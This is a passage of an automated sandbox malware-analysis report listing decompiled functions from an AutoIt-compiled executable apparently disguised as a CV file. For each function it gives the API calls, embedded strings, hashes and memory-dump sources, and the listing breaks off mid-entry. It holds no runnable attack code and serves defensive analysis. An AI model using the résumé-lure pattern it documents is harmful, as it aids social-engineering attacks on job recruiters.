                                                                  • Opcode Fuzzy Hash: d30f660d18cfe40ac217780bc4ad3d2712db757c17db12690de371ce9b7c8b6e
                                                                  • Instruction Fuzzy Hash: FE0249752046119FCB14EF18D895E2AB7E5FF88B20F04849DF98A9B3A1CB34ED05CB85
                                                                  Function 00B5CF50 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetClassNameW.USER32(?,?,00000100), ref: 00B5CF91
                                                                  • __swprintf.LIBCMT ref: 00B5D032
                                                                  • _wcscmp.LIBCMT ref: 00B5D045
                                                                  • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00B5D09A
                                                                  • _wcscmp.LIBCMT ref: 00B5D0D6
                                                                  • GetClassNameW.USER32(?,?,00000400), ref: 00B5D10D
                                                                  • GetDlgCtrlID.USER32(?), ref: 00B5D15F
                                                                  • GetWindowRect.USER32(?,?), ref: 00B5D195
                                                                  • GetParent.USER32(?), ref: 00B5D1B3
                                                                  • ScreenToClient.USER32(00000000), ref: 00B5D1BA
                                                                  • GetClassNameW.USER32(?,?,00000100), ref: 00B5D234
                                                                  • _wcscmp.LIBCMT ref: 00B5D248
                                                                  • GetWindowTextW.USER32(?,?,00000400), ref: 00B5D26E
                                                                  • _wcscmp.LIBCMT ref: 00B5D282
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
                                                                  • String ID: %s%u
                                                                  • API String ID: 3119225716-679674701
                                                                  • Opcode ID: 9529a9db99b96d37ae7e875702882d46e943d064a99527444a03c3f1dbd8d041
                                                                  • Instruction ID: fcaf45af769e13bf4a97f0e2aeaaa5538364f576f5b7e07c601ad644fcaef061
                                                                  • Opcode Fuzzy Hash: 9529a9db99b96d37ae7e875702882d46e943d064a99527444a03c3f1dbd8d041
                                                                  • Instruction Fuzzy Hash: 17A1D171604702AFD725DF64C884BAAB7E8FF44355F008A99FD9AD3190DB30EA49CB91
                                                                  Function 00B5D8A7 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetClassNameW.USER32(00000008,?,00000400), ref: 00B5D8EB
                                                                  • _wcscmp.LIBCMT ref: 00B5D8FC
                                                                  • GetWindowTextW.USER32(00000001,?,00000400), ref: 00B5D924
                                                                  • CharUpperBuffW.USER32(?,00000000), ref: 00B5D941
                                                                  • _wcscmp.LIBCMT ref: 00B5D95F
                                                                  • _wcsstr.LIBCMT ref: 00B5D970
                                                                  • GetClassNameW.USER32(00000018,?,00000400), ref: 00B5D9A8
                                                                  • _wcscmp.LIBCMT ref: 00B5D9B8
                                                                  • GetWindowTextW.USER32(00000002,?,00000400), ref: 00B5D9DF
                                                                  • GetClassNameW.USER32(00000018,?,00000400), ref: 00B5DA28
                                                                  • _wcscmp.LIBCMT ref: 00B5DA38
                                                                  • GetClassNameW.USER32(00000010,?,00000400), ref: 00B5DA60
                                                                  • GetWindowRect.USER32(00000004,?), ref: 00B5DAC9
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                                  • String ID: @$ThumbnailClass
                                                                  • API String ID: 1788623398-1539354611
                                                                  • Opcode ID: 62a6aadb75165b828b1517a78a59944459046d72753aa8eb1045575ba9fb6950
                                                                  • Instruction ID: 5865ce730085684213dabbe88f310f8e4b676d0c0781900ff48b9d89fc9a2bb6
                                                                  • Opcode Fuzzy Hash: 62a6aadb75165b828b1517a78a59944459046d72753aa8eb1045575ba9fb6950
                                                                  • Instruction Fuzzy Hash: 6181D4310083459BDB25DF14C885FAA7BE8FF84315F0486EAFD899A096DB30DD49CBA1
                                                                  Function 00B8CE58 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 205windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B8CEFB
                                                                  • DestroyWindow.USER32(?,?), ref: 00B8CF73
                                                                  • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00B8CFF4
                                                                  • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00B8D016
                                                                  • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B8D025
                                                                  • DestroyWindow.USER32(?), ref: 00B8D042
                                                                  • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00B20000,00000000), ref: 00B8D075
                                                                  • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B8D094
                                                                  • GetDesktopWindow.USER32 ref: 00B8D0A9
                                                                  • GetWindowRect.USER32(00000000), ref: 00B8D0B0
                                                                  • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00B8D0C2
                                                                  • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00B8D0DA
                                                                    • Part of subcall function 00B3B526: GetWindowLongW.USER32(?,000000EB), ref: 00B3B537
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memset
                                                                  • String ID: 0$@U=u$tooltips_class32
                                                                  • API String ID: 3877571568-1130792468
                                                                  • Opcode ID: a56f68f121ad6b95429447bd6c595920f901c82d1daf8da297982e878638de97
                                                                  • Instruction ID: 9d4eb2f6fe57ff81f87060a7d64e0a4eddbcb6dc9d79ab2c81c128d41a4f85e3
                                                                  • Opcode Fuzzy Hash: a56f68f121ad6b95429447bd6c595920f901c82d1daf8da297982e878638de97
                                                                  • Instruction Fuzzy Hash: 0771FFB0140345AFE720DF28CC95FB67BE5EB89704F54495EF9858B2A1DB30E942CB22
                                                                  Function 00B8F351 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 178windowfileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                  • DragQueryPoint.SHELL32(?,?), ref: 00B8F37A
                                                                    • Part of subcall function 00B8D7DE: ClientToScreen.USER32(?,?), ref: 00B8D807
                                                                    • Part of subcall function 00B8D7DE: GetWindowRect.USER32(?,?), ref: 00B8D87D
                                                                    • Part of subcall function 00B8D7DE: PtInRect.USER32(?,?,00B8ED5A), ref: 00B8D88D
                                                                  • SendMessageW.USER32(?,000000B0,?,?), ref: 00B8F3E3
                                                                  • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00B8F3EE
                                                                  • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00B8F411
                                                                  • _wcscat.LIBCMT ref: 00B8F441
                                                                  • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00B8F458
                                                                  • SendMessageW.USER32(?,000000B0,?,?), ref: 00B8F471
                                                                  • SendMessageW.USER32(?,000000B1,?,?), ref: 00B8F488
                                                                  • SendMessageW.USER32(?,000000B1,?,?), ref: 00B8F4AA
                                                                  • DragFinish.SHELL32(?), ref: 00B8F4B1
                                                                  • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00B8F59C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                                  • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$@U=u
                                                                  • API String ID: 169749273-762882726
                                                                  • Opcode ID: b937ddac221932eac32b84df9c483948d68f73e06be06f408ca4d13ced36a974
                                                                  • Instruction ID: ebab417bb95b094cefa5b8aa7a5feea709d1d7f83bd3c0bd0df7f45dbd5569bf
                                                                  • Opcode Fuzzy Hash: b937ddac221932eac32b84df9c483948d68f73e06be06f408ca4d13ced36a974
                                                                  • Instruction Fuzzy Hash: 49614871108301AFC701EF64DC86EAFBBE8EF99710F540A5EF595932A1DB709A09CB52
                                                                  Function 00B5D6F4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __wcsnicmp
                                                                  • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                  • API String ID: 1038674560-1810252412
                                                                  • Opcode ID: f701beeee4ae0b9c7093e9841c491b63eb8135cb35b7f30ff76772620980f188
                                                                  • Instruction ID: 40520ac7895aabfc45c25a23904ca8fe8ccede45a74d279ae61747c52f006cb9
                                                                  • Opcode Fuzzy Hash: f701beeee4ae0b9c7093e9841c491b63eb8135cb35b7f30ff76772620980f188
                                                                  • Instruction Fuzzy Hash: EE31A131A44245EADB25FB50ED43FADB3E49F24711F2006EAF845711E1FBA1AF08D611
                                                                  Function 00B779B0 Relevance: 25.6, APIs: 17, Instructions: 109COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadCursorW.USER32(00000000,00007F8A), ref: 00B779C6
                                                                  • LoadCursorW.USER32(00000000,00007F00), ref: 00B779D1
                                                                  • LoadCursorW.USER32(00000000,00007F03), ref: 00B779DC
                                                                  • LoadCursorW.USER32(00000000,00007F8B), ref: 00B779E7
                                                                  • LoadCursorW.USER32(00000000,00007F01), ref: 00B779F2
                                                                  • LoadCursorW.USER32(00000000,00007F81), ref: 00B779FD
                                                                  • LoadCursorW.USER32(00000000,00007F88), ref: 00B77A08
                                                                  • LoadCursorW.USER32(00000000,00007F80), ref: 00B77A13
                                                                  • LoadCursorW.USER32(00000000,00007F86), ref: 00B77A1E
                                                                  • LoadCursorW.USER32(00000000,00007F83), ref: 00B77A29
                                                                  • LoadCursorW.USER32(00000000,00007F85), ref: 00B77A34
                                                                  • LoadCursorW.USER32(00000000,00007F82), ref: 00B77A3F
                                                                  • LoadCursorW.USER32(00000000,00007F84), ref: 00B77A4A
                                                                  • LoadCursorW.USER32(00000000,00007F04), ref: 00B77A55
                                                                  • LoadCursorW.USER32(00000000,00007F02), ref: 00B77A60
                                                                  • LoadCursorW.USER32(00000000,00007F89), ref: 00B77A6B
                                                                  • GetCursorInfo.USER32(?), ref: 00B77A7B
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Cursor$Load$Info
                                                                  • String ID:
                                                                  • API String ID: 2577412497-0
                                                                  • Opcode ID: 3d4df0967cdd197cc08453fb88a5b4502d7c00ff719730d431767ddf23f9088f
                                                                  • Instruction ID: 37f2277b7bf356d1f2ce70720d8f7204466a1e441439920dced0571d75058e54
                                                                  • Opcode Fuzzy Hash: 3d4df0967cdd197cc08453fb88a5b4502d7c00ff719730d431767ddf23f9088f
                                                                  • Instruction Fuzzy Hash: 5731E5B1D4831A6ADF509FB68C8999FBFE8FF04750F50453AE51DE7280DA78A5008FA1
                                                                  Function 00B2C833 Relevance: 25.0, APIs: 7, Strings: 7, Instructions: 479COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3E968: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00B2C8B7,?,00002000,?,?,00000000,?,00B2419E,?,?,?,00BBDC00), ref: 00B3E984
                                                                    • Part of subcall function 00B2660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B253B1,?,?,00B261FF,?,00000000,00000001,00000000), ref: 00B2662F
                                                                  • __wsplitpath.LIBCMT ref: 00B2C93E
                                                                    • Part of subcall function 00B41DFC: __wsplitpath_helper.LIBCMT ref: 00B41E3C
                                                                  • _wcscpy.LIBCMT ref: 00B2C953
                                                                  • _wcscat.LIBCMT ref: 00B2C968
                                                                  • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 00B2C978
                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00B2CABE
                                                                    • Part of subcall function 00B2B337: _wcscpy.LIBCMT ref: 00B2B36F
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CurrentDirectory$_wcscpy$FullNamePath__wsplitpath__wsplitpath_helper_wcscat
                                                                  • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                                  • API String ID: 2258743419-1018226102
                                                                  • Opcode ID: 0e56f9b8ae687228979649da1c190f315fa862c7855db329bc437d0d2cc32637
                                                                  • Instruction ID: b83bb5d902e788b737422bde4cec83ed7b74c5df19cd5d6fff4321ba550eec7c
                                                                  • Opcode Fuzzy Hash: 0e56f9b8ae687228979649da1c190f315fa862c7855db329bc437d0d2cc32637
                                                                  • Instruction Fuzzy Hash: D3129E715083419FCB24EF24D881AAFBBE5FF99704F0049AEF58997261DB30DA49CB52
                                                                  Function 00B8716A Relevance: 24.7, APIs: 2, Strings: 12, Instructions: 244windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CharUpperBuffW.USER32(?,?), ref: 00B871FC
                                                                  • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00B87247
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BuffCharMessageSendUpper
                                                                  • String ID: @U=u$CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                                  • API String ID: 3974292440-383632319
                                                                  • Opcode ID: 80c8fc77701ffb52be463bdc87c307883a508bdef17e25fa1f9ac5cb07ae0a89
                                                                  • Instruction ID: 571c655fa3ba90de68ef13019be890a6bcc9384740ddf221502889ee9c7051ed
                                                                  • Opcode Fuzzy Hash: 80c8fc77701ffb52be463bdc87c307883a508bdef17e25fa1f9ac5cb07ae0a89
                                                                  • Instruction Fuzzy Hash: 09914D302447019BCA04FF14C891A6EBBE1EF55314F2448D9B89A6B3A2DB30ED4ACB85
                                                                  Function 00B8E4F5 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 199windowlibraryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00B8E5AB
                                                                  • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00B89808,?), ref: 00B8E607
                                                                  • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00B8E647
                                                                  • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00B8E68C
                                                                  • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00B8E6C3
                                                                  • FreeLibrary.KERNEL32(?,00000004,?,?,?,00B89808,?), ref: 00B8E6CF
                                                                  • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00B8E6DF
                                                                  • DestroyIcon.USER32(?), ref: 00B8E6EE
                                                                  • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00B8E70B
                                                                  • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00B8E717
                                                                    • Part of subcall function 00B40FA7: __wcsicmp_l.LIBCMT ref: 00B41030
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                                                  • String ID: .dll$.exe$.icl$@U=u
                                                                  • API String ID: 1212759294-1639919054
                                                                  • Opcode ID: adc42d3be9cfe34481afb972dc2614762d0b4cc3aed7b0ae5118c98bc7611d75
                                                                  • Instruction ID: 30be9ff997a1faaf435ea4fed8e8e857381fcae49b087b2645d4912f4ee08d1e
                                                                  • Opcode Fuzzy Hash: adc42d3be9cfe34481afb972dc2614762d0b4cc3aed7b0ae5118c98bc7611d75
                                                                  • Instruction Fuzzy Hash: 4961BF71500215BAEB14EF64CC86FEE7BE8FB18714F104595F925E61E1EB70EA80DB60
                                                                  Function 00B6AAF8 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 374timeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • VariantInit.OLEAUT32(00000000), ref: 00B6AB3D
                                                                  • VariantCopy.OLEAUT32(?,?), ref: 00B6AB46
                                                                  • VariantClear.OLEAUT32(?), ref: 00B6AB52
                                                                  • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00B6AC40
                                                                  • __swprintf.LIBCMT ref: 00B6AC70
                                                                  • VarR8FromDec.OLEAUT32(?,?), ref: 00B6AC9C
                                                                  • VariantInit.OLEAUT32(?), ref: 00B6AD4D
                                                                  • SysFreeString.OLEAUT32(00000016), ref: 00B6ADDF
                                                                  • VariantClear.OLEAUT32(?), ref: 00B6AE35
                                                                  • VariantClear.OLEAUT32(?), ref: 00B6AE44
                                                                  • VariantInit.OLEAUT32(00000000), ref: 00B6AE80
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
                                                                  • String ID: %4d%02d%02d%02d%02d%02d$Default
                                                                  • API String ID: 3730832054-3931177956
                                                                  • Opcode ID: 6551802bb2c5cb07bbcfc6306ff0f1439e2153eea6e96afd435441c8e6cfd3fe
                                                                  • Instruction ID: 4b4c8f4bf6f064f60e130eb0fd4d1514a6314d8df9b9265a7ab0affbc2dc3ab3
                                                                  • Opcode Fuzzy Hash: 6551802bb2c5cb07bbcfc6306ff0f1439e2153eea6e96afd435441c8e6cfd3fe
                                                                  • Instruction Fuzzy Hash: BCD1BE71A04215DBCF109F65D885B6EB7F5FF09B00F2884E5E405AB291DB78AD40DFA2
                                                                  Function 00B6D219 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                  • CharLowerBuffW.USER32(?,?), ref: 00B6D292
                                                                  • GetDriveTypeW.KERNEL32 ref: 00B6D2DF
                                                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B6D327
                                                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B6D35E
                                                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B6D38C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: SendString$BuffCharDriveLowerType__itow__swprintf
                                                                  • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                  • API String ID: 1148790751-4113822522
                                                                  • Opcode ID: c6f364df1e69d5b7bb08b3546588430e96f38abac0443176e9d09b583f68d922
                                                                  • Instruction ID: 4fb2cbb9f26926cbc03d893377087ffda9e79ace5a8126edc0841c386894080f
                                                                  • Opcode Fuzzy Hash: c6f364df1e69d5b7bb08b3546588430e96f38abac0443176e9d09b583f68d922
                                                                  • Instruction Fuzzy Hash: AB515D716043159FC700EF14D88196EB7E4FF98758F5048ADF89A672A1EB31EE05CB52
                                                                  Function 00B626BC Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 137windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000016,00000000,?,?,00B93973,00000016,0000138C,00000016,?,00000016,00BBDDB4,00000000,?), ref: 00B626F1
                                                                  • LoadStringW.USER32(00000000,?,00B93973,00000016), ref: 00B626FA
                                                                  • GetModuleHandleW.KERNEL32(00000000,00000016,?,00000FFF,?,?,00B93973,00000016,0000138C,00000016,?,00000016,00BBDDB4,00000000,?,00000016), ref: 00B6271C
                                                                  • LoadStringW.USER32(00000000,?,00B93973,00000016), ref: 00B6271F
                                                                  • __swprintf.LIBCMT ref: 00B6276F
                                                                  • __swprintf.LIBCMT ref: 00B62780
                                                                  • _wprintf.LIBCMT ref: 00B62829
                                                                  • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00B62840
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
